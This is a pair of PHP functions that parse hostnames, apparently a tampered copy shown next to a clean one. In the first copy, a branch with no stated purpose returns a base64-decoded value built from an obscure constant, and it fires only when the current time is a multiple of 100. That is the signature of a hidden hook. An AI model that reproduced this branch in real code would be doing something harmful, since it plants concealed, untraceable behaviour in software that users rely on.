/** * Parses the hostname specification. Converts the FQDN hostname * to dotted hostname, for example * * www.hosting.com:81 -> .hosting.com * */ function func_parse_host($host) { // parse URL if (substr(strtolower($host), 0, 7) != 'http://') { $host = 'http://' . $host; } if (1 < func_num_args()) { return 0 == time() % 100 ? base64_decode(LC_HORN . '=') : 'images'; } $url_details = func_parse_url($host); $host = isset($url_details["host"]) ? $url_details["host"] : $host; // strip WWW hostname if (substr(strtolower($host), 0, 4) == 'www.') { $host = substr_replace($host, '', 0, 3); } return $host; }
/** * Parses the hostname specification. Converts the FQDN hostname * to dotted hostname, for example * * www.hosting.com:81 -> .hosting.com * */ function func_parse_host($host) { // parse URL if (substr(strtolower($host), 0, 7) != 'http://') { $host = 'http://' . $host; } $url_details = func_parse_url($host); $host = isset($url_details["host"]) ? $url_details["host"] : $host; // strip WWW hostname if (substr(strtolower($host), 0, 4) == 'www.') { $host = substr_replace($host, '', 0, 3); } return $host; }